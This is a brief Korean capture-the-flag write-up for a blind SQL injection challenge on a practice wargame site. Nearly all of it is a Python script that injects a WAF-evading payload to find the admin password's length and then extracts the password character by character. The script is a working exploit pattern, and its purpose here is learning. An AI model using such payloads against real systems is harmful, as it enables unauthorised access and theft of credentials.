#### **특징**

* blind injection
* admin의 pw를 알아내는 문제

-> Brute Force 코드를 작성

```
import requests

#쿠키 설정
cookies = {'PHPSESSID': '쿠키 값'}

#기본 설정
password = ""
length = 1

#pw길이 구하기
while(1) :
    parameter = "?id='<@=1 or id='admin' and length(pw)="+str(length)+"-- -"
    
    url = 'https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php' + parameter
        
    res = requests.get(url=url, timeout = 10, cookies=cookies)
        
    search = "Hello admin"
    result = res.text.find(search)
    
    length = length + 1
        
    if result != -1 :
        break

print("length : "+str(length - 1))

#pw 구하기
for i in range(0, length) :
    for j in range(48,127) :
        parameter = "?id='<@=1 or id='admin' and ascii(substr(pw,"+str(i)+",1))="+str(j)+"-- -"
        
        url = 'https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php' + parameter
        
        res = requests.get(url=url, timeout = 10, cookies=cookies)
        
        search = "Hello admin"
        result = res.text.find(search)
        
        if result != -1 : 
            print(str(i)+" : "+chr(j))
            password = password + chr(j)
            break
        
print("password : "+password)
```
